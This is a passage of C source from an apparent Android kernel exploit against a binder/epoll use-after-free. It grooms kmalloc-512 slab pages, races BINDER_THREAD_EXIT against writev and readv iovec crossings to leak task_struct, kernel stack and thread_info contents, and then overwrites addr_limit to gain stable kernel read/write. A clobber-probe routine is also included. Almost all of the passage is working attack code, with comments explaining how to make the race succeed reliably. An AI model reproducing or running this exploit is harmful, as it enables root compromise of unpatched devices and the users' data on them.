    int bindfd = open("/dev/binder", O_RDONLY | O_CLOEXEC);
    if (bindfd < 0) {
        fprintf(stderr, "leak bind open failed errno=%d\n", errno);
        return 0;
    }

    int epfd = epoll_create(1000);
    if (epfd < 0) {
        close(bindfd);
        return 0;
    }

    struct epoll_event event = {.events = EPOLLIN};
    int max_threads = 2;
    ioctl(bindfd, BINDER_SET_MAX_THREADS, &max_threads);
    void *bindmap = mmap(NULL, BH_MMAP_SIZE, PROT_READ,
                         MAP_PRIVATE | MAP_ANONYMOUS, bindfd, 0);
    if (bindmap == MAP_FAILED) {
        fprintf(stderr, "leak mmap failed errno=%d\n", errno);
        close(epfd);
        close(bindfd);
        return 0;
    }
    /* Hold the wedge txn first so the leak thread exists: bindfd's
     * binder_proc (kmalloc-512) is the page's slot 0, the thread's
     * binder_thread takes slot 1. */
    BH_STAGE("leak hold");
    if (!bh_hold_stack(bindfd)) {
        fprintf(stderr, "leak hold failed errno=%d\n", errno);
        close(epfd);
        close(bindfd);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }

    /* Plant binder_procs into the leak thread's slab page NOW, while it
     * still has free slots: proc + thread + 6 plants = 8 objects = one
     * full 512-byte page (8/page).  Planting after the ADD-probe retries
     * lets concurrent kmalloc-512 traffic (log strings, netlink skbs)
     * fill the page instead - the crossing then leaks those, not the
     * plants' tsk (diag10: no plants on the crossing page).  With the
     * page full, THREAD_EXIT's kfree puts the thread slot at the freelist
     * head and the writev import pops it deterministically, keeping the
     * crossing base on the plants' page. */
    int n_plant = bh_plant_procs();
    int *plant = (int *)malloc((size_t)n_plant * sizeof(int));
    if (!plant) {
        close(epfd);
        close(bindfd);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }
    for (int i = 0; i < n_plant; i++) {
        plant[i] = open("/dev/binder", O_RDONLY | O_CLOEXEC);
        if (plant[i] < 0) {
            fprintf(stderr, "leak plant %d failed errno=%d\n", i, errno);
            for (int j = 0; j < i; j++) close(plant[j]);
            free(plant);
            close(epfd);
            close(bindfd);
            munmap(bindmap, BH_MMAP_SIZE);
            return 0;
        }
    }

    /* ADD-as-probe: an ADD that lands while the wedge's reply is already
     * queued registers NO pwq (binder_poll returns POLLIN without
     * poll_wait, line 2634).  Detect it with a 0-timeout epoll_wait: a
     * ready epitem means the attempt is dead - close (ep_free on the
     * still-alive thread = clean, no corruption), consume the reply and
     * re-wedge.  The successful ADD (no POLLIN) registered the pwq on
     * thread->wait with the txn pending. */
    int add_ok = 0;
    for (int addtry = 0; addtry < 64 && !add_ok; addtry++) {
        if (addtry > 0 && !bh_hold_stack(bindfd)) {
            fprintf(stderr, "leak re-hold failed errno=%d\n", errno);
            close(epfd);
            close(bindfd);
            munmap(bindmap, BH_MMAP_SIZE);
            return 0;
        }
        BH_STAGE("leak epoll ADD try %d", addtry);
        if (epoll_ctl(epfd, EPOLL_CTL_ADD, bindfd, &event)) {
            fprintf(stderr, "leak epoll_add errno=%d\n", errno);
            close(epfd);
            close(bindfd);
            munmap(bindmap, BH_MMAP_SIZE);
            return 0;
        }
        struct epoll_event ev;
        int r = epoll_wait(epfd, &ev, 1, 0);
        if (r <= 0) {
            if (diag_dump_stream)
                fprintf(stderr, "hold: ADD clean at addtry=%d\n", addtry);
            add_ok = 1;
            break;
        }
        if (diag_dump_stream)
            fprintf(stderr, "hold: ADD busy (reply queued) addtry=%d, reweding\n", addtry);
        bh_binder_drain_fast(bindfd);
        close(epfd);
        epfd = epoll_create(1000);
        if (epfd < 0) {
            fprintf(stderr, "leak epoll_create retry failed errno=%d\n", errno);
            close(bindfd);
            munmap(bindmap, BH_MMAP_SIZE);
            return 0;
        }
    }
    if (!add_ok) {
        fprintf(stderr, "leak add retry exhausted\n");
        close(epfd);
        close(bindfd);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }

    /* Consume the wedge's denied reply now and WAIT for it: its wake
     * must fire while the thread is still allocated (wait list intact),
     * and the transaction_stack must be empty at THREAD_EXIT, or the
     * late reply's wake lands in the freed-slot window and kills the
     * crossing.  Fast variant only (transient poll pwqs): the full
     * drain's poll(1000) registers its own pwq on thread->wait, which
     * stays between head and the ADD's pwq and turns the DEL into the
     * crossed (F) variant - the import copy is never read. */
    if (!bh_binder_drain_wait(bindfd)) {
        fprintf(stderr, "leak wedge reply not consumed (late/absent), retrying\n");
        g_wedge_dead = 1;
        for (int i = 0; i < n_plant; i++) close(plant[i]);
        free(plant);
        close(epfd);
        close(bindfd);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }

    struct iovec *iov = (struct iovec *)calloc(IOVEC_ARRAY_SZ, sizeof(struct iovec));
    if (!iov) {
        free(plant);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }

    BH_STAGE("leak iov ready, fork");

    int delta = (int)((UAF_SPINLOCK + minimum) % 0x1000);
    int padding = (delta == 0 ? 0 : 0x1000 - delta) + 0x1000;

    iov[indx - 2].iov_base = (unsigned long *)0xDEADBEEF;
    iov[indx - 2].iov_len = 0x1000;
    iov[indx - 1].iov_base = (unsigned long *)0xDEADBEEF;
    iov[indx - 1].iov_len = (size_t)padding - 0x1000;
    iov[indx].iov_base = (unsigned long *)0xDEADBEEF;
    iov[indx].iov_len = 0; /* spinlock */
    iov[indx + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->next */
    iov[indx + 1].iov_len = adj; /* wq->prev */
    iov[indx + 2].iov_base = (unsigned long *)0xDEADBEEF;
    iov[indx + 2].iov_len = (size_t)extraLeakAmount + UAF_SPINLOCK + 8;
    unsigned long total = iovec_size(iov, IOVEC_ARRAY_SZ);

    unsigned char *data = (unsigned char *)malloc(total + 0x1000);
    if (!data) {
        free(iov);
        free(plant);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }
    memset(data, 0x41, total + 0x1000);
    for (int i = 0; i < IOVEC_ARRAY_SZ; i++)
        if (iov[i].iov_base == (unsigned long *)0xDEADBEEF)
            iov[i].iov_base = data;
    /* DIAG discriminator: the spinlock entry reads from its own 0x42
     * buffer, so a corrupted slot (absorb=0x10001) shows 0x42 at the
     * padding boundary in the stream, while an uncorrupted one shows
     * 0x41 (the crossing = iov[indx+1] = data). */
    unsigned char *absorb = (unsigned char *)malloc(UAF_SPINLOCK + 0x1000);
    if (!absorb) {
        free(iov);
        free(data);
        free(plant);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }
    memset(absorb, 0x42, UAF_SPINLOCK + 0x1000);
    iov[indx].iov_base = absorb;

    struct bh_pipe_pair pipefd;
    struct bh_pipe_pair leakPipe;
    struct bh_pipe_pair ackpipe;
    if (pipe((int *)&pipefd) < 0 || pipe((int *)&leakPipe) < 0 ||
        pipe((int *)&ackpipe) < 0 ||
        !bh_set_pipe_size(pipefd.r) || !bh_set_pipe_size(pipefd.w)) {
        fprintf(stderr, "leak pipe setup failed errno=%d\n", errno);
        free(iov);
        free(data);
        free(absorb);
        free(plant);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }
    if (diag_dump_stream)
        fprintf(stderr, "PARENT: DIAG pipe sz r=%d w=%d\n",
                fcntl(pipefd.r, F_GETPIPE_SZ), fcntl(pipefd.w, F_GETPIPE_SZ));
    if (diag_dump_stream)
        fprintf(stderr, "PARENT: DIAG addrs data=%p absorb=%p iov=%p slot0=%p slot5=%p\n",
                (void *)data, (void *)absorb, (void *)iov,
                (void *)&iov[indx], (void *)&iov[indx + 1]);

    pid_t pid = fork();
    if (pid == -1) {
        fprintf(stderr, "leak fork failed errno=%d\n", errno);
        free(iov);
        free(data);
        free(absorb);
        free(plant);
        munmap(bindmap, BH_MMAP_SIZE);
        return 0;
    }
    if (pid == 0)
    {
        /* Child process */
        char childSuccess = 1;
        prctl(PR_SET_PDEATHSIG, SIGKILL);
        if (write(ackpipe.w, "A", 1) != 1) _exit(1);

        unsigned long size1 = (unsigned long)padding + UAF_SPINLOCK + minimum;
        /* Round 1 (plain leak / DIAG): the stream is drained fully into
         * chunk1 so the scans see the whole crossing and the writev
         * completes before the leakPipe writes.  Round 2 (repoint, task+8):
         * the writev must stay blocked until the iovec array is rewritten,
         * so the crossing's tail is left in the pipe and read into data
         * only after the repoint. */
        int round1_mode = (task_struct_plus_8_p == NULL && extraLeakAmount <= 0);
        unsigned long scanlen = round1_mode ? (total > size1 ? total : size1) : size1;
        unsigned char *chunk1 = (unsigned char *)malloc(scanlen + 0x40);
        if (!chunk1) _exit(1);
        memset(chunk1, 0, scanlen + 0x40);
        /* Sync on the parent's writev: the first 0x400 stream bytes
         * exist only after THREAD_EXIT + the iovec import, so the freed
         * slot is ours when the ep_free walk below corrupts it.  Keep
         * the sync short (0x400): the DEL must land before the writev's
         * iterator consumes the corruptible iov entries at stream
         * 0x1f0f, and the iterator can be at most pipe-capacity (0x1000)
         * ahead of the child's reads. */
        errno = 0;
        ssize_t cr0 = read(pipefd.r, chunk1, 0x400);
        if (cr0 != 0x400) {
            fprintf(stderr, "CHILD: sync read failed ret=%zd errno=%d\n", cr0, errno);
            _exit(1);
        }
        if (!g_noclobber) close(epfd); /* last ref: walks the stale waitqueue */
        errno = 0;
        ssize_t cr = read(pipefd.r, chunk1 + 0x400, size1 - 0x400);
        if (cr != (ssize_t)(size1 - 0x400)) {
            fprintf(stderr, "CHILD: chunk1 read failed ret=%zd errno=%d\n", cr, errno);
            _exit(1);
        }
        if (round1_mode && scanlen > size1) {
            ssize_t ct = read(pipefd.r, chunk1 + size1, scanlen - size1);
            if (ct != (ssize_t)(scanlen - size1)) {
                fprintf(stderr, "CHILD: tail read failed ret=%zd errno=%d\n", ct, errno);
                _exit(1);
            }
        }
        if (diag_dump_stream) {
            fprintf(stderr, "CHILD: DIAG layout padding=0x%x size1=0x%lx adj=0x%lx\n",
                    padding, size1, adj);
            fprintf(stderr, "CHILD: DIAG addrs chunk1=%p\n", (void *)chunk1);
            unsigned long nNonFill = 0, firstNonFill = 0, lastNonFill = 0;
            for (unsigned long i = 0; i < scanlen; i++) {
                if (chunk1[i] != 0x41 && chunk1[i] != 0x42) {
                    if (!nNonFill) firstNonFill = i;
                    lastNonFill = i;
                    nNonFill++;
                }
            }
            fprintf(stderr, "CHILD: DIAG non-fill bytes count=%lu first=0x%lx last=0x%lx\n",
                    nNonFill, firstNonFill, lastNonFill);
            fprintf(stderr, "CHILD: DIAG absorb=%s\n",
                    chunk1[padding] == 0x42 ? "0x10001 (DEL wrote slot lock)"
                                            : "0 (slot untouched)");
            fprintf(stderr, "CHILD: DIAG padding->crossing transition (byte res):\n");
            hexdump_memory(chunk1 + padding - 0x10, 0x80);
            if (nNonFill) {
                fprintf(stderr, "CHILD: DIAG crossing head (0x200 @0x%lx):\n", firstNonFill);
                hexdump_memory(chunk1 + firstNonFill, 0x200);
                /* map the crossing: non-zero runs grouped by 0x100 */
                fprintf(stderr, "CHILD: DIAG crossing non-zero map:\n");
                unsigned long run = 0;
                for (unsigned long i = firstNonFill; i < scanlen; i++) {
                    if (chunk1[i] != 0x41 && chunk1[i] != 0x42) {
                        if (!run) fprintf(stderr, "  run@0x%lx:", i - firstNonFill);
                        run++;
                    } else if (run) {
                        fprintf(stderr, " +0x%lx\n", run);
                        run = 0;
                    }
                }
                if (run) { fprintf(stderr, " +0x%lx\n", run); run = 0; }
                /* first kernel/user pointer in the crossing */
                int pk = -1, pu = -1;
                for (unsigned long i = firstNonFill; i + 8 <= scanlen && pk < 0; i++) {
                    unsigned long v = 0;
                    memcpy(&v, chunk1 + i, 8);
                    if ((v & 0xffff000000000000UL) == 0xffff000000000000UL) pk = (int)i;
                }
                for (unsigned long i = firstNonFill; i + 8 <= scanlen && pu < 0; i++) {
                    unsigned long v = 0;
                    memcpy(&v, chunk1 + i, 8);
                    if ((v & 0xffffff8000000000UL) == 0x0000007f00000000UL) pu = (int)i;
                }
                fprintf(stderr, "CHILD: DIAG crossing first kernel ptr at %s0x%x, user ptr at %s0x%x\n",
                        pk < 0 ? "none(" : "", pk, pu < 0 ? "none(" : "", pu);
            }
            fprintf(stderr, "CHILD: DIAG @padding (0x42=absorb/corrupted, 0x41=no corruption):\n");
            hexdump_memory(chunk1 + padding - 0x20, 0x80);
        }
        /* Locate the crossing base: the DEL self-repoints the freed
         * thread's waitqueue, so the crossing stream starts with the pair
         * {X, X} (X = slot+0x50, a kernel pointer).  The crossing's stream
         * offset = padding + absorb, and the absorb (the lock write left
         * by the ep_free walk) varies run to run (0, 0xF1, 0x10001, ...),
         * so scan chunk1 for the pair instead of assuming a fixed base. */
        int base = -1;
        int fromChunk = 0;
        for (int i = 0; i + 16 <= (int)scanlen; i++) {
            unsigned long v = 0, w = 0;
            memcpy(&v, chunk1 + i, 8);
            if (!isKernelPointer(v)) continue;
            memcpy(&w, chunk1 + i + 8, 8);
            if (w == v) { base = i; break; }
        }
        if (base < 0) {
            fprintf(stderr, "CHILD: crossing base not found\n");
            childSuccess = 0;
        } else {
            fromChunk = (int)adj;
            if (base + (int)adj > (int)scanlen) fromChunk = (int)scanlen - base;
            memcpy(data, chunk1 + base, fromChunk);
        }

        int badPointer = 0;
        if (memcmp(data, data + 8, 8)) {
            badPointer = 1;
            unsigned long v0 = 0, v1 = 0;
            memcpy(&v0, data, 8);
            memcpy(&v1, data + 8, 8);
            fprintf(stderr, "CHILD: pair mismatch v0=%lx v1=%lx\n", v0, v1);
        }
        unsigned long addr = 0;
        memcpy(&addr, data, 8);
        if (!isKernelPointer(addr)) {
            badPointer = 1;
            childSuccess = 0;
            fprintf(stderr, "CHILD: addr not kernel ptr addr=%lx\n", addr);
        }

        /* Round-2 repoint: while the parent's writev is blocked at the
         * crossing, rewrite the live iovec array (at slot+wq+8 = addr)
         * so the remaining writev becomes {addr,adj} (crossing limit),
         * {extraLeakAddress, extraLeakAmount}, {task+8, 8}.
         * clobber_data delivers its payload at payloadAddress+0x30 (the
         * crossing's iov_offset is 0x30 when the iov[5] entry is re-read
         * from the slot), so pass addr-0x30 to land the repoint exactly
         * on iov[5] at addr. */
        unsigned long task_ptr = g_known_task;
        if (!badPointer && task_ptr &&
            (extraLeakAmount > 0 || task_struct_plus_8_p != NULL)) {
            unsigned long repoint[6] = {
                addr, adj,
                extraLeakAddress, (unsigned long)extraLeakAmount,
                task_ptr + 8, 8};
            int repoint_drain = bh_drain_start();
            fprintf(stderr, "CHILD: repoint drain=%d\n", repoint_drain);
            int repoint_ok = clobber_data_retry(addr - 0x30, &repoint, sizeof(repoint));
            bh_drain_release();
            if (!repoint_ok) {
                fprintf(stderr, "CHILD: repoint clobber failed addr=%lx\n", addr);
                childSuccess = 0;
            }
        }

        /* The crossing continues past size1.  After the repoint the
         * writev is still blocked (the pipe holds the crossing's tail
         * [size1..size1+adj-fromChunk), full), so read the tail into data
         * to complete the window.  This frees the pipe and the writev
         * resumes: after a successful repoint it streams the final 8
         * bytes from the repointed {task+8, 8}; without a repoint
         * (round 1) fromChunk == adj already and nothing is left. */
        if (base >= 0 && fromChunk < (int)adj &&
            read(pipefd.r, data + fromChunk, adj - fromChunk) != (ssize_t)(adj - fromChunk)) {
            fprintf(stderr, "CHILD: crossing tail read failed errno=%d\n", errno);
            childSuccess = 0;
        }

        if (diag_dump_stream) {
            message("CHILD: DIAG dataBuffer window (0x%lx)", adj);
            hexdump_memory(data, 0x400);
        }

        /* The final 8 stream bytes must be read before any leakPipe
         * write: the parent is still inside its writev until the pipe is
         * drained, and the leakPipe write would otherwise block (data is
         * larger than the pipe capacity) while the parent never reads. */
        if (extraLeakAmount > 0)
        {
            if (read(pipefd.r, extraLeakBuffer, extraLeakAmount) != extraLeakAmount) {
                childSuccess = 0;
                fprintf(stderr, "CHILD: extra leak failed\n");
            }
        }
        if (task_struct_plus_8_p != NULL)
        {
            /* After a successful repoint the writev's last 8 bytes are
             * task->stack (iov[indx+3] = {task+8, 8}); in round 1 the
             * tail read already consumed the whole stream. */
            if (read(pipefd.r, task_struct_plus_8_p, 8) != 8) {
                fprintf(stderr, "CHILD: task+8 read failed errno=%d\n", errno);
                childSuccess = 0;
            }
        }
        if (write(leakPipe.w, data, adj) != (ssize_t)adj) _exit(1);
        if (extraLeakAmount > 0)
        {
            if (write(leakPipe.w, extraLeakBuffer, extraLeakAmount) != extraLeakAmount)
                _exit(1);
        }
        if (task_struct_plus_8_p != NULL)
        {
            if (write(leakPipe.w, task_struct_plus_8_p, 8) != 8) _exit(1);
        }
        if (write(leakPipe.w, &childSuccess, 1) != 1) _exit(1);

        free(chunk1);
        close(pipefd.r);
        close(pipefd.w);
        close(leakPipe.r);
        close(leakPipe.w);
        _exit(0);
    }

    errno = 0;
    char ack = 0;
    if (read(ackpipe.r, &ack, 1) != 1) {
        fprintf(stderr, "PARENT: ack failed errno=%d\n", errno);
        success = 0;
        goto DONE;
    }
    close(ackpipe.r);
    close(ackpipe.w);
    close(epfd); /* parent drops its ref; child's close is the last one */
    ioctl(bindfd, BINDER_THREAD_EXIT, NULL);
    /* NOTE: nothing between THREAD_EXIT and writev */
    alarm(5);
    ssize_t b = writev(pipefd.w, iov, IOVEC_ARRAY_SZ);
    BH_STAGE("leak writev ret=%zd", b);
    if (diag_dump_stream)
        message("PARENT: DIAG writev ret=%zd total=0x%lx", b, total);
    if (b != (ssize_t)total) {
        message("PARENT: writev() returned 0x%x, expected 0x%lx; continuing",
                (unsigned int)b, total);
        success = 0;
        goto DONE;
    }

    message("PARENT: Reading leaked data");

    if (read(leakPipe.r, data, adj) != (ssize_t)adj) {
        message("PARENT: **fail** reading leak: read 0x%lx needed 0x%lx",
                (unsigned long)b, adj);
        success = 0;
        goto DONE;
    }

    if (leakAmount > 0)
        memcpy(leakBuffer, data, leakAmount);

    if (extraLeakAmount != 0)
    {
        message("PARENT: Reading extra leaked data");
        b = read(leakPipe.r, extraLeakBuffer, extraLeakAmount);
        if (b != extraLeakAmount) {
            message("PARENT: **fail** reading extra leak: read 0x%x needed 0x%x",
                    (int)b, extraLeakAmount);
            success = 0;
            goto DONE;
        }
    }

    if (task_struct_plus_8_p != NULL)
    {
        if (read(leakPipe.r, task_struct_plus_8_p, 8) != 8) {
            message("PARENT: **fail** reading leaked task_struct at offset 8");
            success = 0;
            goto DONE;
        }
    }

    char childSucceeded = 0;
    read(leakPipe.r, &childSucceeded, 1);
    if (!childSucceeded)
        success = 0;

    if (task_struct_ptr_p != NULL)
        memcpy(task_struct_ptr_p, data + g_task_off, 8);

DONE:
    for (int i = 0; i < n_plant; i++) close(plant[i]);
    free(plant);
    close(pipefd.r);
    close(pipefd.w);
    close(leakPipe.r);
    close(leakPipe.w);
    close(bindfd);
    munmap(bindmap, BH_MMAP_SIZE);
    waitpid(pid, NULL, 0);
    alarm(0);
    free(iov);
    free(data);
    free(absorb);

    if (success)
        message("PARENT: leaking successful");
    return success;
}

int leak_data_retry(void *leakBuffer, int leakAmount,
               unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount,
               unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) {
    int try = 0;
    while (try < RETRIES && !g_wedge_dead && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) {
        message("MAIN: **fail** retrying leak");
        try++;
    }
    if (0 < try && try < RETRIES)
        message("MAIN: it took %d tries, but succeeded", try);
    return !g_wedge_dead && try < RETRIES;
}

/* ------------------------------------------------------------------ */
/* Bootstrap: leak task -> thread_info -> addr_limit clobber          */
/* ------------------------------------------------------------------ */

/* Leak 16KB of the kernel stack (extra repoint entry) and scan for
 * USER_DS -> thread_info (ti = kstack + pos*8 - 8). */
unsigned long find_thread_info_ptr_kernel3(unsigned long known_task, unsigned long kstack) {
    unsigned char *buf = (unsigned char *)malloc(0x4000);
    if (!buf) return 0;
    g_known_task = known_task;
    if (!leak_data_retry(NULL, 0, kstack, buf, 0x4000, NULL, NULL)) {
        free(buf);
        return 0;
    }
    message("MAIN: parsing kernel stack to find thread_info");
    for (unsigned int pos = 0; pos < 0x4000 / 8; pos++) {
        unsigned long v = 0;
        memcpy(&v, buf + pos * 8, 8);
        if (v == USER_DS) {
            free(buf);
            return kstack + pos * 8 - 8;
        }
    }
    free(buf);
    return 0;
}

/* Round-2 known-task leak + thread_info discovery + addr_limit clobber
 * for one candidate task pointer.  Returns 1 once stable kR/W. */
void kernel_read(unsigned long kaddr, void *buf, unsigned long len);
int bootstrap_try_task(unsigned long task_ptr,
                       unsigned long *task_struct_ptr_p,
                       unsigned long *task_struct_plus_8_p) {
    unsigned long stack = 0;
    g_known_task = task_ptr;
    BH_STAGE("bootstrap leak (task 0x%lx)", task_ptr);
    /* Round-2 repoint reads task+16 = task->stack+8 = ti+8 (the addr_limit
     * field) in the same cycle as task->stack, via the ungated crossing. */
    unsigned long al_pre = 0;
    if (!leak_data_retry(NULL, 0, task_ptr + 16, &al_pre, 8, NULL, &stack)) {
        BH_STAGE("bootstrap leak failed");
        return 0;
    }
    fprintf(stderr, "addr_limit pre-clobber @ ti+8 = 0x%lx\n", al_pre);
    BH_STAGE("bootstrap leak ok, stack=0x%lx", stack);
    unsigned long ti_ptr = 0;
    if (stack == USER_DS) {
        message("MAIN: thread_info is in task_struct");
        ti_ptr = task_ptr;
    } else if (isKernelPointer(stack) && (stack & 0x3FFF) == 0) {
        /* 3.18 arm64: thread_info is NOT in task_struct - it sits at the
         * 16K-aligned base of task->stack (current_thread_info =
         * sp & ~(THREAD_SIZE-1)), with addr_limit at +8.  task+8 is
         * task->stack itself; a 16K-aligned kernel page is a strong
         * validity check on the candidate. */
        message("MAIN: task->stack = 0x%lx (thread_info at base)", stack);
        ti_ptr = stack;
    } else {
        fprintf(stderr, "task+8 leak got 0x%lx (retry)\n", stack);
        return 0;
    }
    message("MAIN: thread_info = 0x%lx", ti_ptr);
    unsigned long src = 0xFFFFFFFFFFFFFFFEul;
    int clob_ok = 0;
    for (int r = 0; r < RETRIES && !clob_ok; r++) {
        BH_STAGE("bootstrap clobber try %d", r);
        if (!clobber_data_retry(ti_ptr + 8 - 0x30, &src, 8)) continue;
        /* The clobber's verify already proves the payload landed: the
         * re-read iov[6]={&verify,8} only consumes the trailing test_value
         * if the chunk was written at the slot and the crossing consumed
         * exactly chunk_len bytes, i.e. the payload went to
         * payloadAddress+0x30 = ti+8.  A post-clobber diag leak would
         * burn wedge budget with slot-drift misses; kernel_read is the
         * ground truth (write()'s access_ok reads current ti+8). */
        unsigned long check = 0;
        kernel_read(ti_ptr + 8, &check, 8);
        fprintf(stderr, "addr_limit kernel_read verify = 0x%lx (try %d)\n",
                check, r + 1);
        if (check == src) {
            clob_ok = 1;
            break;
        }
    }
    if (!clob_ok) {
        fprintf(stderr, "addr_limit clobber failed\n");
        return 0;
    }
    BH_STAGE("bootstrap addr_limit clobbered");
    message("MAIN: addr_limit clobbered, stable kernel R/W");
    if (task_struct_ptr_p) *task_struct_ptr_p = task_ptr;
    if (task_struct_plus_8_p) *task_struct_plus_8_p = stack;
    return 1;
}

/* ------------------------------------------------------------------ */
/* Diagnostic: canary-spray clobber reachability test (-p)             */
/* ------------------------------------------------------------------ */

void probe_clobber(void)
{
    message("PROBE: start");
    cpu_set_t cs;
    CPU_ZERO(&cs);
    CPU_SET(0, &cs);
    sched_setaffinity(0, sizeof(cs), &cs);
    const char *env = getenv("SU98_ATTEMPTS");
    int max_attempts = env ? atoi(env) : 4;
    if (max_attempts < 1) max_attempts = 1;
    if (!bh_drain_start()) {
        fprintf(stderr, "PROBE: drain setup failed\n");
        return;
    }

    for (int attempt = 1; attempt <= max_attempts; attempt++) {
        int bindfd = open("/dev/binder", O_RDONLY | O_CLOEXEC);
        if (bindfd < 0) {
            fprintf(stderr, "PROBE bind open failed errno=%d\n", errno);
            return;
        }
        int epfd = epoll_create(1000);
        if (epfd < 0) {
            close(bindfd);
            return;
        }
        struct epoll_event event = {.events = EPOLLIN};
        int max_threads = 2;
        ioctl(bindfd, BINDER_SET_MAX_THREADS, &max_threads);

        message("PROBE: attempt %d: mmap bindfd...", attempt);
        void *bindmap = mmap(NULL, BH_MMAP_SIZE, PROT_READ,
                             MAP_PRIVATE | MAP_ANONYMOUS, bindfd, 0);
        if (bindmap == MAP_FAILED) {
            fprintf(stderr, "PROBE mmap failed errno=%d\n", errno);
            goto attempt_done;
        }
        uint32_t hold_handle = 0;
        int self_hold_ok = 0;
        if (bh_register_service(bindfd, "ghostlock.pzzz")) {
            hold_handle = bh_get_self_handle(bindfd, "ghostlock.pzzz");
            if (hold_handle && bh_binder_hold_handle(bindfd, hold_handle)) {
                bh_binder_drain(bindfd);
                self_hold_ok = 1;
            }
        }
        if (self_hold_ok) {
            message("PROBE: attempt %d: self-hold handle=%u, drain ok", attempt, hold_handle);
        } else {
            message("PROBE: attempt %d: self-hold failed, CM wedge fallback", attempt);
            if (!bh_wedge_cm(bindfd, "ghostlock.pzzz")) {
                fprintf(stderr, "PROBE wedge send failed errno=%d\n", errno);
                goto attempt_done;
            }
        }
        if (epoll_ctl(epfd, EPOLL_CTL_ADD, bindfd, &event)) {
            fprintf(stderr, "PROBE epoll_add errno=%d\n", errno);
            goto attempt_done;
        }
        {
            struct epoll_event ev;
            int epr = epoll_wait(epfd, &ev, 1, 0);
            message("PROBE: attempt %d: epoll_wait(0) r=%d events=%x errno=%d (r=0 expected)",
                    attempt, epr, epr > 0 ? ev.events : 0, errno);
        }
        /* Consume the wedge's denied reply before THREAD_EXIT. */
        bh_binder_drain(bindfd);

        int ackpipe[2];
        if (pipe(ackpipe) < 0) goto attempt_done;

        int canary_pipe[2];
        if (pipe(canary_pipe) < 0) {
            close(ackpipe[0]);
            close(ackpipe[1]);
            goto attempt_done;
        }
        fcntl(canary_pipe[0], F_SETPIPE_SZ, 0x20000);
        fcntl(canary_pipe[1], F_SETPIPE_SZ, 0x20000);

        struct iovec canary[IOVEC_ARRAY_SZ];
        memset(canary, 0, sizeof(canary));
        static unsigned char canary_dummy[0x20000];
        static unsigned char canary_chunk[0x30];
        unsigned long test_datum = 0;
        const unsigned long test_value = UAF_MAGIC;
        memset(canary_chunk, 0x11, sizeof(canary_chunk));
        memset(canary_dummy, 0x22, sizeof(canary_dummy));
        canary[4].iov_base = canary_dummy;
        canary[4].iov_len = 0; /* +0x48: spinlock slot */
        canary[5].iov_base = canary_chunk; /* +0x50: task_list.next */
        canary[5].iov_len = sizeof(canary_chunk); /* +0x58: task_list.prev */
        canary[6].iov_base = canary_dummy;
        canary[6].iov_len = 4;
        canary[7].iov_base = canary_dummy;
        canary[7].iov_len = 0x20;
        canary[8].iov_base = &test_datum;
        canary[8].iov_len = sizeof(test_datum);
        size_t canary_total = (size_t)UAF_SPINLOCK + sizeof(canary_chunk) + 4 + 0x20 + sizeof(test_datum);

        pid_t pid = fork();
        if (pid == -1) {
            close(ackpipe[0]);
            close(ackpipe[1]);
            close(canary_pipe[0]);
            close(canary_pipe[1]);
            goto attempt_done;
        }
        if (pid == 0) {
            prctl(PR_SET_PDEATHSIG, SIGKILL);
            close(ackpipe[0]);
            close(canary_pipe[0]);
            if (write(ackpipe[1], "A", 1) != 1) _exit(1);
            usleep(BH_DELAY_USEC);
            int del_r = epoll_ctl(epfd, EPOLL_CTL_DEL, bindfd, &event);
            fprintf(stderr, "PROBE: attempt %d: child DEL r=%d errno=%d t=%ldms\n",
                    attempt, del_r, errno, (long)(bh_now_us() / 1000));
            unsigned char *buf = (unsigned char *)malloc(canary_total);
            if (!buf) _exit(1);
            memset(buf, 0x11, sizeof(canary_chunk));
            memset(buf + sizeof(canary_chunk), 0x22, 4 + 0x20);
            memcpy(buf + sizeof(canary_chunk) + 4 + 0x20, &test_value,
                   sizeof(test_value));
            memset(buf + sizeof(canary_chunk) + 4 + 0x20 + sizeof(test_value),
                   0x41, (size_t)UAF_SPINLOCK);
            ssize_t w = write(canary_pipe[1], buf, canary_total);
            (void)w;
            _exit(0);
        }
        close(ackpipe[1]);
        close(canary_pipe[1]);

        char ack = 0;
        if (read(ackpipe[0], &ack, 1) != 1) {
            close(ackpipe[0]);
            close(canary_pipe[0]);
            waitpid(pid, NULL, 0);
            goto attempt_done;
        }
        close(ackpipe[0]);
        int exit_r = ioctl(bindfd, BINDER_THREAD_EXIT, NULL);
        /* NOTE: nothing between THREAD_EXIT and readv */
        errno = 0;
        ssize_t rr = readv(canary_pipe[0], canary, IOVEC_ARRAY_SZ);
        int re = errno;
        message("PROBE: attempt %d: exit r=%d errno=%d, readv r=%zd errno=%d test_datum=%lx t=%ldms",
                attempt, exit_r, errno, rr, re, test_datum, (long)(bh_now_us() / 1000));
        message("PROBE: attempt %d: diag chunk0=%02x%02x%02x%02x chunk8=%02x%02x%02x%02x dummy0=%02x%02x%02x%02x dummy40=%02x%02x%02x%02x",
                attempt, canary_chunk[0], canary_chunk[1], canary_chunk[2],
                canary_chunk[3], canary_chunk[8], canary_chunk[9],
                canary_chunk[10], canary_chunk[11], canary_dummy[0],
                canary_dummy[1], canary_dummy[2], canary_dummy[3],
                canary_dummy[0x28], canary_dummy[0x29], canary_dummy[0x2a],
                canary_dummy[0x2b]);
        {
            static unsigned char leftover[0x100];
            ssize_t lr = read(canary_pipe[0], leftover, sizeof(leftover));
            message("PROBE: attempt %d: leftover r=%zd %02x%02x%02x%02x%02x%02x%02x%02x %02x%02x%02x%02x%02x%02x%02x%02x",
                    attempt, lr, leftover[0], leftover[1], leftover[2],
                    leftover[3], leftover[4], leftover[5], leftover[6],
                    leftover[7], leftover[8], leftover[9], leftover[10],
                    leftover[11], leftover[12], leftover[13], leftover[14],
                    leftover[15]);
        }
        close(canary_pipe[0]);
        waitpid(pid, NULL, 0);
        int clobber_hit = test_datum != test_value;
